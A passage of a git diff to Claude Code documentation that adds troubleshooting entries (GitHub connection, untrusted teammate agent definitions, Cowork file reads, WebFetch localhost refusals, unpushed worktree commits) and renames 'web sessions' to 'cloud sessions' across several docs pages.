+2667,25 @@ Could not upload repo bundle (). The GitHub App preflight failed transien Before v2.1.251, Claude Code ended the message with `Please set up GitHub on https://claude.ai/code` even when the GitHub check failed only transiently, and setup advice can't clear a transient failure. +

+ GitHub isn't connected to your Claude account +

+ +You started a [cloud session](/docs/en/claude-code-on-the-web) from your local repository, for example with `/autofix-pr`. No GitHub account is connected to your Claude account, or the connection expired, so Claude Code refuses the launch: + +```text theme={null} +GitHub isn't connected to your Claude account, so this repository can't be cloned in the cloud. Run /web-setup to connect with your GitHub CLI login, or connect on the web at https://claude.ai/connect-github +``` + +When you create a routine with [`/schedule`](/docs/en/routines), the same message appears as a setup note that names the repository; the note doesn't block creating the routine. + +**What to do:** + +* Run `/web-setup` to connect your GitHub CLI login to your Claude account, or connect an account at [claude.ai/connect-github](https://claude.ai/connect-github). See [GitHub authentication options](/docs/en/claude-code-on-the-web#github-authentication-options) for how the two differ. +* Rerun the command a minute after connecting + +Before v2.1.268, Claude Code reported this as a temporary failure of the Claude GitHub App check and suggested retrying or installing the app; neither connects a GitHub account. + ### Failed to resume the conversation Claude Code couldn't read or process the saved transcript for the session you selected from the [`claude --resume` picker](/docs/en/sessions#use-the-session-picker), so it ends the process rather than continue in a partially loaded state. The message includes the command to retry: @@ -2844,7 +2914,7 @@ Before v2.1.257, the check looked only at the path's spelling, not at where a sy Claude Code asked the operating system whether a plugin path exists and got an error other than "not found", so it doesn't load what the path names. How much of the plugin loads depends on which path failed: -* One of a plugin's [default component folders](/docs/en/plugins-reference#file-locations-reference), such as `skills/` or `commands/`: the plugin's other components still load +* One of a plugin's [default component locations](/docs/en/plugins-reference#file-locations-reference), such as the `skills/` folder, the `monitors/monitors.json` file, or a [`SKILL.md` at the plugin root](/docs/en/plugins-reference#skills): the plugin's other components still load * The plugin's own directory: nothing from that plugin loads You don't see this error for a path that doesn't exist at all. In `/plugin`, the error appears under the plugin and names the path and the code the operating system returned: @@ -3039,6 +3109,23 @@ When you message a teammate yourself, typing `@name` followed by the message in * Ask the sender to resend the message; contention for the inbox lock is transient and clears on retry * Check free disk space, and check that `~/.claude/teams` and the files under it are writable by your user +

+ Teammate's agent definition was not restored +

+ +Claude messaged a stopped [agent team](/docs/en/agent-teams) teammate, and Claude Code brought it back without re-applying the [subagent definition](/docs/en/agent-teams#use-subagent-definitions-for-teammates) it was spawned from, because its definition file came from a folder with no saved trust. The notice follows the resume report in the sending agent's tool result: + +```text wrap theme={null} +Its agent definition was not restored: the folder its definition file came from is not trusted (source: projectSettings), so the teammate is running with the team-essential tools and no custom instructions. To restore it, the user needs to run Claude Code in that folder once and accept the trust dialog (the --debug log names the folder); do not change trust settings on the user's behalf. +``` + +The check applies to a definition in the `.claude/agents/` directory of the project or of an `--add-dir` directory, and accepting the trust dialog for a parent folder doesn't satisfy it. + +**What to do:** + +* Run `claude` in the folder the [debug log](/docs/en/debug-your-config) names and accept the trust dialog. The definition is re-applied the next time Claude Code brings the teammate back; you don't need to restart the lead session +* Or set the `hasTrustDialogAccepted` entry to `true` in `~/.claude.json`, using the exact `projects[""]` key the debug log prints + ### Message too large for cross-session delivery Claude's [cross-session message](/docs/en/cross-session-messaging) to another of your sessions on this machine was too long to send. Claude Code refused it, and the receiving session got nothing. The refusal appears in the sending session's tool result, not as a banner in your terminal. It names both sizes and how to make the message fit: @@ -3175,6 +3262,41 @@ Claude Code decodes the file as UTF-8, or as UTF-16 when it starts with a little Before v2.1.267, Claude Code uploaded such a file without checking it, and the server refused the publish instead. +

+ Reading a local file from outside the connected folders in a Cowork session +

+ +In a [Cowork](https://claude.com/docs/cowork/overview) session running on your machine in the Claude Desktop app, Claude named a local file for an [artifact](/docs/en/artifacts). Claude Code couldn't confirm the file is a plain file inside the session's connected folders: the path sits outside those folders, passes through a symbolic link, or is spelled in a way that can name a different file than it appears to. Reading such a file needs your approval, and in a session that can't show you the approval card, such as one set to skip all approvals, Claude Code refuses the read. + +The refusal appears in the Artifact tool result; when the file couldn't be examined at all, it names that failure instead: + +```text wrap theme={null} +Reading a local file from outside this session's connected folders, or through a link, needs the approval card, and no one can answer it in this Cowork session. Use a plain file inside the connected folders; do not retry this file in this session. + +cannot read file_path (ENOENT) — the file could not be examined, and no one can answer the approval card in this Cowork session. Check that the file exists as a plain file inside the connected folders, then retry with that path. +``` + +**What to do:** + +* Usually nothing: the message tells Claude to use a plain file inside the connected folders instead +* To put that exact file in the artifact, copy it into one of the session's connected folders as a regular file, not a symlink, and ask again + +

+ WebFetch cannot fetch localhost +

+ +Claude called [WebFetch](/docs/en/tools-reference#webfetch-tool-behavior) with a URL whose hostname has no dot, such as `http://localhost:3000` or a bare intranet name like `http://wiki/`. WebFetch refuses these URLs before making any request: + +```text wrap theme={null} +WebFetch cannot fetch localhost or other hostnames without a dot. To reach a local server, use Bash with curl instead. +``` + +**What to do:** + +* Usually nothing: the message points Claude at `curl` through the Bash tool, which can reach local and intranet servers + +Before v2.1.268, WebFetch reported these URLs with a generic `Invalid URL` error. + ## Background session errors [Background sessions](/docs/en/agent-view) run without an interactive terminal of their own, so commands that need one behave differently there. These messages appear in the transcript of a background session, in the terminal that attaches to one, in the session or shell you dispatch from, or, for the [worktree-guard entries](#write-or-command-blocked-because-the-path-cannot-be-safely-resolved) below, in any session isolated in a worktree or running a worktree-isolated subagent; where a message is specific to one surface, its entry says so. @@ -3290,12 +3412,12 @@ Before v2.1.248, opening such a row re-ran the session's original prompt instead You tried to delete a [background session](/docs/en/agent-view#what-deleting-a-session-removes) whose worktree holds commits Claude Code can't confirm are saved elsewhere. Claude Code keeps the worktree and the session row rather than destroy the commits unseen. `claude rm` names the branch and the unpushed commits, and says how to proceed: ```text theme={null} -kept 7c5dcf5d — 2 unpushed commits on claude/fix-login (a1b2c3d Fix login flow, … and 1 more) - worktree: /home/you/project/.claude/worktrees/fix-login - push them, or discard the worktree and its commits: claude rm 7c5dcf5d --discard-unpushed a1b2c3d000000000000000000000000000000000@0123456789abcdef0123456789abcdef +kept 7c5dcf5d — its worktree is still at “/home/you/project/.claude/worktrees/fix-login” + 2 unpushed commits on “claude/fix-login”: a1b2c3d “Fix login flow” and 1 more. They exist on no remote, so deleting the worktree would lose them. + push them and run 'claude rm 7c5dcf5d' again, or discard the worktree and its commits: claude rm 7c5dcf5d --discard-unpushed a1b2c3d000000000000000000000000000000000@0123456789abcdef0123456789abcdef ``` -When Claude Code can't summarize the commits, the message reads `worktree has commits that are not pushed anywhere` instead. In [agent view](/docs/en/agent-view), the session's row shows `not deleted` with the same reason. +When Claude Code can't summarize the commits, the detail line reads `The worktree has unpushed commits` instead. In [agent view](/docs/en/agent-view), the session's row shows `not deleted` with the same reason. Commits on a remote don't block the delete. Neither do commits on the local copy of your `origin` remote's default branch, as long as that branch is checked out in your main checkout, the repository directory itself rather than a worktree. @@ -3305,6 +3427,8 @@ Commits on a remote don't block the delete. Neither do commits on the local copy * To discard the commits, run the `claude rm --discard-unpushed` command the message printed, or press `Ctrl+X` twice on the session's row in agent view again. This removes the session and the worktree along with its branch, the unpushed commits, and any uncommitted changes. If the worktree has gained a commit since the refusal, Claude Code keeps it again and shows the updated state * When the message says the worktree is also recorded by another finished session, deleting again doesn't discard it: push the commits, then delete the session again +Before v2.1.268, `claude rm` put the commit summary on the `kept` line itself. When `claude rm` couldn't summarize the commits, the `kept` line read `worktree has commits that are not pushed anywhere` in place of the summary. + Before v2.1.260, the message didn't name the branch or the commits, and deleting again was refused the same way: deleting the session without pushing meant removing the worktree yourself with `git worktree remove --force `, then running `claude rm ` again. Before v2.1.248, the default branch checked out in your main checkout didn't count: a branch you had already merged there still triggered this refusal until its commits reached a remote. diff --git a/content/en/docs/claude-code/feature-availability.md b/content/en/docs/claude-code/feature-availability.md index 2367a10f6c..4dc3adc621 100644 --- a/content/en/docs/claude-code/feature-availability.md +++ b/content/en/docs/claude-code/feature-availability.md @@ -45,7 +45,7 @@ Three of these have provider-specific differences: These require signing in with a claude.ai account and are not reachable with an Anthropic Console API key or from a third-party provider: -* [Claude Code on the web](/docs/en/claude-code-on-the-web), Claude Code on mobile, and [Claude Code in Slack](/docs/en/slack) +* [Cloud sessions](/docs/en/claude-code-on-the-web), Claude Code on mobile, and [Claude Code in Slack](/docs/en/slack) * [Claude Code Desktop](/docs/en/desktop) * [Routines](/docs/en/routines) (`/schedule`) * [Ultrareview](/docs/en/ultrareview) @@ -212,7 +212,7 @@ Organization-level controls and usage visibility. 2 On these providers, auto mode supports only Claude Sonnet 5, Opus 4.7 or later, and the Fable models. See [Auto mode configuration](/docs/en/auto-mode-config). The built-in starting permission mode on these providers is Manual. See [which mode a session starts in](/docs/en/permission-modes#which-mode-a-session-starts-in). In v2.1.158 through v2.1.206, auto mode on these providers also required setting `CLAUDE_CODE_ENABLE_AUTO_MODE=1`; v2.1.207 removed the requirement.
3 Subject to your agreement with the cloud provider.
4 Dashboard and API only. [Contribution metrics](/docs/en/analytics#enable-contribution-metrics) requires a claude.ai Team or Enterprise organization.
-5 Requires Claude Code v2.1.224 or later on macOS and Linux, including Linux inside WSL 2. On native Windows, requires Claude Code v2.1.234 or later. With API key authentication, messaging is same-machine only. On Amazon Bedrock, Claude Platform on AWS, Google Cloud's Agent Platform, and Microsoft Foundry, messaging is same-machine only and requires Claude Code v2.1.248 or later. Claude can find your [Claude Code on the web](/docs/en/claude-code-on-the-web) sessions and your sessions on other machines only from a session that is connected to [Remote Control](/docs/en/remote-control). To connect, you need a claude.ai sign-in and the other [Remote Control requirements](/docs/en/remote-control#requirements). See [Message sessions on other machines](/docs/en/cross-session-messaging#message-sessions-on-other-machines). +5 Requires Claude Code v2.1.224 or later on macOS and Linux, including Linux inside WSL 2. On native Windows, requires Claude Code v2.1.234 or later. With API key authentication, messaging is same-machine only. On Amazon Bedrock, Claude Platform on AWS, Google Cloud's Agent Platform, and Microsoft Foundry, messaging is same-machine only and requires Claude Code v2.1.248 or later. Claude can find your [cloud sessions](/docs/en/claude-code-on-the-web) and your sessions on other machines only from a session that is connected to [Remote Control](/docs/en/remote-control). To connect, you need a claude.ai sign-in and the other [Remote Control requirements](/docs/en/remote-control#requirements). See [Message sessions on other machines](/docs/en/cross-session-messaging#message-sessions-on-other-machines). If you authenticate through an [LLM gateway](/docs/en/llm-gateway), feature availability matches the underlying provider the gateway forwards to, except for the features Claude Code itself turns off. Whenever `ANTHROPIC_BASE_URL` points at a host other than `api.anthropic.com`, Claude Code turns off features such as [Remote Control](/docs/en/remote-control#requirements) and [server-managed settings](/docs/en/server-managed-settings#platform-availability), whatever the gateway forwards. Some Anthropic-only features such as the [Advisor](/docs/en/advisor) work only if the gateway forwards requests intact to the Anthropic API. @@ -289,7 +289,7 @@ If you authenticate through Amazon Bedrock, Google Cloud's Agent Platform, Micro | Feature | Pro | Max | Team | Enterprise | | :-------------------------------------------------------------------------- | :-- | :-- | :------------ | :-------------------------------- | -| [Claude Code on the web](/docs/en/claude-code-on-the-web) | ✓ | ✓ | ✓ | ✓
6 | +| [Cloud sessions](/docs/en/claude-code-on-the-web) | ✓ | ✓ | ✓ | ✓ 6 | | [Routines](/docs/en/routines) | ✓ | ✓ | ✓ | ✓ | | [Remote Control](/docs/en/remote-control) | ✓ | ✓ | Admin-enabled | Admin-enabled | | [Channels](/docs/en/channels) | ✓ | ✓ | Admin-enabled | Admin-enabled | @@ -305,7 +305,7 @@ If you authenticate through Amazon Bedrock, Google Cloud's Agent Platform, Micro | [Compliance API](https://platform.claude.com/docs/en/api/compliance) | ✗ | ✗ | ✗ | ✓ | | [Zero Data Retention](/docs/en/zero-data-retention) | ✗ | ✗ | ✗ | ✓ 7 | -6 On Enterprise, requires a premium seat or a Chat + Claude Code seat. See [Claude Code on the web](/docs/en/claude-code-on-the-web).
+6 On Enterprise, requires a premium seat or a Chat + Claude Code seat. See [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web).
7 Not included in the standard Enterprise plan. Requires separate enablement by Anthropic for qualified accounts. See [Zero Data Retention](/docs/en/zero-data-retention). For pricing and the full plan comparison, see [Team plans](https://support.claude.com/en/articles/9266767-what-is-the-team-plan) and [Enterprise plans](https://support.claude.com/en/articles/9797531-what-is-the-enterprise-plan). diff --git a/content/en/docs/claude-code/features-overview.md b/content/en/docs/claude-code/features-overview.md index 3792a741b4..4cd8d4d8c0 100644 --- a/content/en/docs/claude-code/features-overview.md +++ b/content/en/docs/claude-code/features-overview.md @@ -234,7 +234,7 @@ Each feature loads at different points in your session. The tabs below explain w - Skills are extra capabilities in Claude's toolkit. They can be reference material (like an API style guide) or invocable workflows you trigger with `/` (like `/deploy`). Claude Code includes [bundled skills](/docs/en/commands) like `/code-review`, `/batch`, and `/debug` that work out of the box. You can also create your own. + Skills are extra capabilities in Claude's toolkit. They can be reference material (like an API style guide) or invocable workflows you trigger with `/` (like `/deploy`). Claude Code includes [bundled skills](/docs/en/commands) like `/code-review`, `/batch`, and `/debug` that work without setup. You can also create your own. **When:** Depends on the skill's configuration. By default, descriptions load at session start and full content loads when used. For user-only skills (`disable-model-invocation: true`), nothing loads until you invoke them. diff --git a/content/en/docs/claude-code/github-actions-cloud-providers.md b/content/en/docs/claude-code/github-actions-cloud-providers.md index 58206221d5..39f37aea9f 100644 --- a/content/en/docs/claude-code/github-actions-cloud-providers.md +++ b/content/en/docs/claude-code/github-actions-cloud-providers.md @@ -35,14 +35,14 @@ Before you start, you need: ## Set up the integration -Beyond the prerequisites, you create four things: a GitHub identity for the Claude Code GitHub Action, the cloud-side trust configuration, the repository secrets, and the workflow file. The steps below walk through each. +Beyond the prerequisites, you create a GitHub identity for the Claude Code GitHub Action, the cloud-side trust configuration, the repository secrets, and the workflow file. The steps below walk through each. The Claude Code GitHub Action pushes commits and posts comments through a GitHub identity. The [quick setup](/docs/en/github-actions#quick-setup) installs the official Claude GitHub App for this. With a cloud provider, you choose the identity yourself: * **Official [Claude GitHub App](https://github.com/apps/claude)**: install it on the repository, or skip to the next step if it's already installed - * **Custom GitHub App**: create your own app, described below, when you want only the three permissions the Claude Code GitHub Action uses rather than the [official app's full set](/docs/en/github-actions#github-app-permissions) + * **Custom GitHub App**: create your own app when you want only the three permissions the Claude Code GitHub Action uses rather than the [official app's full set](/docs/en/github-actions#github-app-permissions) * **GitHub's automatic `GITHUB_TOKEN`**: no app to create or install, but GitHub doesn't trigger your CI workflows on commits made with it The workflow examples in the fourth step authenticate with a custom app. That step also says what to change for the other two options. diff --git a/content/en/docs/claude-code/github-actions.md b/content/en/docs/claude-code/github-actions.md index b503308b1b..352369d7f3 100644 --- a/content/en/docs/claude-code/github-actions.md +++ b/content/en/docs/claude-code/github-actions.md @@ -11,7 +11,7 @@ Several products share the Claude Code name. This page covers the `claude-code-action` workflow integration, which you configure with workflow files in your repository. For the related products, see: * [Code Review](/docs/en/code-review): automatic review on every pull request, without writing a workflow -* [Claude Code on the web](/docs/en/claude-code-on-the-web): Claude Code sessions from your browser or phone +* [Claude Code in the cloud](/docs/en/claude-code-on-the-web): Claude Code sessions that run on cloud infrastructure instead of your machine * [Claude Agent SDK](/docs/en/agent-sdk/overview): custom automation outside GitHub Actions. The Claude Code GitHub Action is built on the SDK * [GitHub Enterprise Server](/docs/en/github-enterprise-server): Claude Code with self-hosted GitHub @@ -119,7 +119,7 @@ If you configured a [cloud provider](/docs/en/github-actions-cloud-providers), a ### GitHub App permissions -The [Claude GitHub App](https://github.com/apps/claude) is shared by every Claude feature that integrates with GitHub, including the Claude Code GitHub Action, [Code Review](/docs/en/code-review), and [auto-fix for pull requests](/docs/en/claude-code-on-the-web#auto-fix-pull-requests) on Claude Code on the web. A GitHub App has a single permission set covering all of its features, so the set includes some permissions that the Claude Code GitHub Action doesn't use. +The [Claude GitHub App](https://github.com/apps/claude) is shared by every Claude feature that integrates with GitHub, including the Claude Code GitHub Action, [Code Review](/docs/en/code-review), and [auto-fix for pull requests](/docs/en/claude-code-on-the-web#auto-fix-pull-requests) in cloud sessions. A GitHub App has a single permission set covering all of its features, so the set includes some permissions that the Claude Code GitHub Action doesn't use. When you install the app, you grant the following permissions: diff --git a/content/en/docs/claude-code/github-enterprise-server.md b/content/en/docs/claude-code/github-enterprise-server.md index 25c0b93832..09448883f9 100644 --- a/content/en/docs/claude-code/github-enterprise-server.md +++ b/content/en/docs/claude-code/github-enterprise-server.md @@ -4,30 +4,30 @@ # Claude Code with GitHub Enterprise Server -> Connect Claude Code to your self-hosted GitHub Enterprise Server instance for web sessions, code review, and plugin marketplaces. +> Connect Claude Code to your self-hosted GitHub Enterprise Server instance for cloud sessions, code review, and plugin marketplaces. GitHub Enterprise Server support is available for Team and Enterprise plans. -GitHub Enterprise Server (GHES) support lets your organization use Claude Code with repositories hosted on your self-managed GitHub instance instead of github.com. Once an Owner connects your GHES instance, developers can run web sessions and get automated code reviews without any per-repository configuration. Plugin marketplaces hosted on your instance are also supported; credential requirements vary by surface, as described in [Plugin marketplaces on GHES](#plugin-marketplaces-on-ghes). +GitHub Enterprise Server (GHES) support lets your organization use Claude Code with repositories hosted on your self-managed GitHub instance instead of github.com. Once an Owner connects your GHES instance, developers can run cloud sessions and get automated code reviews without any per-repository configuration. Plugin marketplaces hosted on your instance are also supported; credential requirements vary by surface, as described in [Plugin marketplaces on GHES](#plugin-marketplaces-on-ghes). -For repositories on github.com, see [Claude Code on the web](/docs/en/claude-code-on-the-web) and [Code Review](/docs/en/code-review). To run Claude in your own CI infrastructure, see [GitHub Actions](/docs/en/github-actions). +For repositories on github.com, see [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web) and [Code Review](/docs/en/code-review). To run Claude in your own CI infrastructure, see [GitHub Actions](/docs/en/github-actions). ## What works with GitHub Enterprise Server The table below shows which Claude Code features support GHES and any differences from github.com behavior. -| Feature | GHES support | Notes | -| :--------------------- | :-------------- | :----------------------------------------------------------------------------------------------------------------------------- | -| Claude Code on the web | ✅ Supported | An Owner connects the GHES instance once; developers use `claude --cloud` or [claude.ai/code](https://claude.ai/code) as usual | -| Code Review | ✅ Supported | Same automated PR reviews as github.com | -| Claude Security | ✅ Supported | Available in public beta for Enterprise plans at [claude.ai/security](https://claude.ai/security) | -| Teleport sessions | ✅ Supported | Move sessions between web and terminal with `--teleport` | -| Plugin marketplaces | ✅ Supported | Credential requirements differ by surface. See [Plugin marketplaces on GHES](#plugin-marketplaces-on-ghes) | -| Contribution metrics | ✅ Supported | Delivered via webhooks to the [analytics dashboard](/docs/en/analytics) | -| GitHub Actions | ✅ Supported | Requires manual workflow setup; `/install-github-app` is github.com only | -| GitHub MCP server | ❌ Not supported | The GitHub MCP server does not work with GHES instances | +| Feature | GHES support | Notes | +| :------------------- | :-------------- | :----------------------------------------------------------------------------------------------------------------------------- | +| Cloud sessions | ✅ Supported | An Owner connects the GHES instance once; developers use `claude --cloud` or [claude.ai/code](https://claude.ai/code) as usual | +| Code Review | ✅ Supported | Same automated PR reviews as github.com | +| Claude Security | ✅ Supported | Available in public beta for Enterprise plans at [claude.ai/security](https://claude.ai/security) | +| Teleport sessions | ✅ Supported | Move sessions between cloud and terminal with `--teleport` | +| Plugin marketplaces | ✅ Supported | Credential requirements differ by surface. See [Plugin marketplaces on GHES](#plugin-marketplaces-on-ghes) | +| Contribution metrics | ✅ Supported | Delivered via webhooks to the [analytics dashboard](/docs/en/analytics) | +| GitHub Actions | ✅ Supported | Requires manual workflow setup; `/install-github-app` is github.com only | +| GitHub MCP server | ❌ Not supported | The GitHub MCP server does not work with GHES instances | ## Admin setup @@ -59,7 +59,7 @@ The guided setup generates a GitHub App manifest and redirects you to your GHES ### GitHub App permissions -The manifest configures the GitHub App with the permissions and webhook events below, which together cover web sessions, Code Review, Claude Security, plugin marketplaces, and contribution metrics: +The manifest configures the GitHub App with the permissions and webhook events below, which together cover cloud sessions, Code Review, Claude Security, plugin marketplaces, and contribution metrics: | Permission | Access | Used for | | :------------------- | :------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -98,17 +98,17 @@ git clone git@github.example.com:platform/api-service.git cd api-service ``` -Then start a web session. Claude detects the GHES host from your git remote and routes the session through your organization's configured instance: +Then start a cloud session. Claude detects the GHES host from your git remote and routes the session through your organization's configured instance: ```bash theme={null} claude --cloud "Add retry logic to the payment webhook handler" ``` -The session clones your repository from GHES and pushes changes back to a branch. Monitor progress at [claude.ai/code](https://claude.ai/code). See [Claude Code on the web](/docs/en/claude-code-on-the-web) for the full cloud session workflow including diff review, auto-fix, and routines. +The session clones your repository from GHES and pushes changes back to a branch. Monitor progress at [claude.ai/code](https://claude.ai/code). See [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web) for the full cloud session workflow including diff review, auto-fix, and routines. ### Teleport sessions to your terminal -Pull a web session into your local terminal with `claude --teleport`. Teleport verifies you're in a checkout of the same GHES repository before fetching the branch and loading the session history. See [teleport requirements](/docs/en/claude-code-on-the-web#teleport-requirements) for details. +Pull a cloud session into your local terminal with `claude --teleport`. Teleport verifies you're in a checkout of the same GHES repository before fetching the branch and loading the session history. See [teleport requirements](/docs/en/claude-code-on-the-web#teleport-requirements) for details. ## Plugin marketplaces on GHES @@ -120,7 +120,7 @@ Host plugin marketplaces on your GHES instance to distribute internal tooling ac | Managed settings (`extraKnownMarketplaces`) | Claude Code registers the entry and clones the repository using the machine's existing git credentials | Git access to your GHES host from their machine | | claude.ai organization plugin settings | An Owner selects the GHES instance as the source; Anthropic's backend fetches and syncs the repository using the GitHub App from [admin setup](#admin-setup) | Nothing per user once added. The Owner adding it needs their own GitHub Enterprise account connected as an access check, and the GitHub App must be installed on the marketplace repository | | claude.ai user settings | Anthropic's backend fetches the repository using the submitting user's GitHub Enterprise connection | Their own GitHub Enterprise account connected to Claude | -| Claude Code on the web | Cloud sessions clone marketplaces inside the session sandbox. The sandbox can reach your GHES instance only when the session's repository is on that same instance, and its git credentials are scoped to the session's repositories | Not reliable for GHES-hosted marketplaces: a different host than the session's repository is not reachable, and even same-instance installs can fail. Use the CLI, managed settings, or claude.ai instead | +| Cloud sessions | Cloud sessions clone marketplaces inside the session sandbox. The sandbox can reach your GHES instance only when the session's repository is on that same instance, and its git credentials are scoped to the session's repositories | Not reliable for GHES-hosted marketplaces: a different host than the session's repository is not reachable, and even same-instance installs can fail. Use the CLI, managed settings, or claude.ai instead | GitHub Enterprise connections on claude.ai are per user when a marketplace is added from user settings. The [admin setup](#admin-setup) connects your GHES instance to your organization, but it does not connect individual user accounts: each user who adds a GHES marketplace from their own settings must first connect their own GitHub Enterprise account, and one user's connection, including the Owner's, does not cover anyone else. Marketplaces added by an Owner in the organization plugin settings do not put this requirement on users, because ongoing fetches use the organization's GitHub App. The Owner adding the marketplace still needs their own GitHub Enterprise account connected at add time. @@ -194,7 +194,7 @@ A few features behave differently on GHES than on github.com. The [feature table ## Troubleshooting -### Web session fails to clone repository +### Cloud session fails to clone repository If `claude --cloud` fails with a clone error, verify that an Owner has completed setup for your GHES instance and that the GitHub App is installed on the repository you're working in. Ask the Owner who connected the instance to confirm that the hostname registered in Claude settings matches the hostname in your git remote. @@ -212,17 +212,17 @@ On other claude.ai surfaces, a "Repository not found. If it's private, GitHub ac ### GHES instance not reachable -If reviews or Anthropic-hosted web sessions time out, your GHES instance may not be reachable from Anthropic infrastructure. Confirm your firewall allows inbound connections from Anthropic's [outbound IP addresses](https://platform.claude.com/docs/en/api/ip-addresses#outbound-ip-addresses). Sessions in a [self-hosted environment](/docs/en/self-hosted-environments) reach GHES from inside your network, so for them check the runner's own network path and the [SCM connector](/docs/en/self-hosted-environments-reference#scm-connector-flags) instead. +If reviews or Anthropic-hosted cloud sessions time out, your GHES instance may not be reachable from Anthropic infrastructure. Confirm your firewall allows inbound connections from Anthropic's [outbound IP addresses](https://platform.claude.com/docs/en/api/ip-addresses#outbound-ip-addresses). Sessions in a [self-hosted environment](/docs/en/self-hosted-environments) reach GHES from inside your network, so for them check the runner's own network path and the [SCM connector](/docs/en/self-hosted-environments-reference#scm-connector-flags) instead. ### Session start fails with `Unable to get organization UUID` -Web sessions require a Team or Enterprise organization. Sign in with `/login` using your organization account. If you authenticate with an API key instead, web sessions fail earlier with a message asking you to run `/login`. +Cloud sessions require a Team or Enterprise organization. Sign in with `/login` using your organization account. If you authenticate with an API key instead, cloud sessions fail earlier with a message asking you to run `/login`. ## Related resources These pages cover the features referenced throughout this guide in more depth: -* [Claude Code on the web](/docs/en/claude-code-on-the-web): run Claude Code sessions on cloud infrastructure +* [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web): run Claude Code sessions on cloud infrastructure * [Code Review](/docs/en/code-review): automated PR reviews * [Plugin marketplaces](/docs/en/plugin-marketplaces): build and distribute plugin catalogs * [Analytics](/docs/en/analytics): track usage and contribution metrics diff --git a/content/en/docs/claude-code/glossary.md b/content/en/docs/claude-code/glossary.md index 6d3d9e0df1..e1bba56734 100644 --- a/content/en/docs/claude-code/glossary.md +++ b/content/en/docs/claude-code/glossary.md @@ -94,6 +94,12 @@ You can place CLAUDE.md at project scope in `./CLAUDE.md` or `./.claude/CLAUDE.m Learn more: [CLAUDE.md files](/docs/en/memory#claude-md-files) +### Cloud session + +A Claude Code session that keeps running after you close your laptop, because it runs on cloud infrastructure instead of your machine: Anthropic-managed by default, or a [self-hosted environment](/docs/en/self-hosted-environments) your organization operates. You start one from claude.ai/code, the Claude mobile app, the Desktop app with **Cloud** selected, `claude --cloud`, or a [routine](/docs/en/routines). A session in your terminal, IDE, or the Desktop app with **Local** selected is a local session; to reach a local session from another device, use [Remote Control](#remote-control). + +Learn more: [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web) + ### Command A reusable instruction you invoke by typing `/name` in the prompt. Built-in commands such as `/clear`, `/model`, and `/compact` control the session. You can define your own commands as files in `.claude/commands/`, or install them from a [plugin](#plugin). [Skills](#skill) are the recommended way to package multi-step commands. @@ -242,7 +248,7 @@ Learn more: [Protect against prompt injection](/docs/en/security#protect-against ### Remote Control -A way to continue a local Claude Code session from your phone or browser via claude.ai. Your code execution and files stay on your machine; the interface is remote. Different from Claude Code on the web, which runs in a cloud sandbox. +A way to continue a local Claude Code session from your phone or browser via claude.ai. Your code execution and files stay on your machine; the interface is remote. Different from a [cloud session](/docs/en/claude-code-on-the-web), which runs in a cloud sandbox. Learn more: [Remote Control](/docs/en/remote-control) @@ -298,9 +304,9 @@ Learn more: [Platforms and integrations](/docs/en/platforms) ### Teleport -A command, `/teleport`, that pulls a cloud Claude Code session into your local terminal. Claude fetches the branch, loads the conversation history, and resumes from the web session's last state. The reverse direction is `--cloud`, which sends a local task to run on the web. +A command, `/teleport`, that pulls a cloud Claude Code session into your local terminal. Claude fetches the branch, loads the conversation history, and resumes from the cloud session's last state. The reverse direction is `--cloud`, which sends a local task to run in the cloud. -Learn more: [From web to terminal](/docs/en/claude-code-on-the-web#from-web-to-terminal) +Learn more: [From cloud to terminal](/docs/en/claude-code-on-the-web#from-cloud-to-terminal) ### Tool @@ -336,8 +342,9 @@ Learn more: [Run parallel sessions with git worktrees](/docs/en/worktrees) These terms appear in older docs, blog posts, and community content. Use the current name when searching this site. -| Old term | Now called | Notes | -| --------------- | --------------------------------------------- | ------------------------------------ | -| Headless mode | [Non-interactive mode](#non-interactive-mode) | Same `-p` flag, same behavior | -| Custom commands | [Skills](#skill) | `.claude/commands/` files still work | -| Slash commands | Commands | "Slash" dropped from product copy | +| Old term | Now called | Notes | +| ----------------------------------------------------------------------- | --------------------------------------------- | ----------------------------------------------------------------------------- | +| Headless mode | [Non-interactive mode](#non-interactive-mode) | Same `-p` flag, same behavior | +| Web session; "Claude Code on the web" as the name for any cloud session | [Cloud session](#cloud-session) | "Claude Code on the web" now names only the browser surface at claude.ai/code | +| Custom commands | [Skills](#skill) | `.claude/commands/` files still work | +| Slash commands | Commands | "Slash" dropped from product copy | diff --git a/content/en/docs/claude-code/goal.md b/content/en/docs/claude-code/goal.md index 5de2745fa7..d2fcd90ee4 100644 --- a/content/en/docs/claude-code/goal.md +++ b/content/en/docs/claude-code/goal.md @@ -53,7 +53,7 @@ While the goal is active, the transcript shows each verdict the evaluator return ### Write an effective condition -The [evaluator](#how-evaluation-works) judges your condition against what Claude has surfaced in the conversation. It doesn't run commands or read files independently, so write the condition as something Claude's own output can demonstrate. "All tests in `test/auth` pass" works because Claude runs the tests and the result lands in the transcript for the evaluator to read. +The [evaluator](#how-evaluation-works) judges your condition against what Claude has surfaced in the conversation. It doesn't run commands or read files independently, so write the condition as something Claude's own output can demonstrate. "All tests in `test/auth` pass" works because Claude runs the tests and the result appears in the transcript for the evaluator to read. A condition that holds up across many turns usually has: diff --git a/content/en/docs/claude-code/google-vertex-ai.md b/content/en/docs/claude-code/google-vertex-ai.md index 9cc417b852..e6054c3576 100644 --- a/content/en/docs/claude-code/google-vertex-ai.md +++ b/content/en/docs/claude-code/google-vertex-ai.md @@ -138,7 +138,7 @@ gcloud services enable aiplatform.googleapis.com Request access to Claude models in Google Cloud's Agent Platform: -1. Navigate to the [Google Cloud's Agent Platform Model Garden](https://console.cloud.google.com/vertex-ai/model-garden) +1. Go to the [Google Cloud's Agent Platform Model Garden](https://console.cloud.google.com/vertex-ai/model-garden) 2. Search for "Claude" models 3. Request access to desired Claude models (for example, Claude Sonnet 4.6) 4. Wait for approval (may take 24-48 hours) diff --git a/content/en/docs/claude-code/hooks.md b/content/en/docs/claude-code/hooks.md index f14cf1dd31..75b2d3699d 100644 --- a/content/en/docs/claude-code/hooks.md +++ b/content/en/docs/claude-code/hooks.md @@ -10,7 +10,7 @@ For a quickstart guide with examples, see [Automate actions with hooks](/docs/en/hooks-guide). -Hooks are user-defined shell commands, HTTP endpoints, MCP tool calls, LLM prompts, or subagents that execute automatically at specific points in Claude Code's 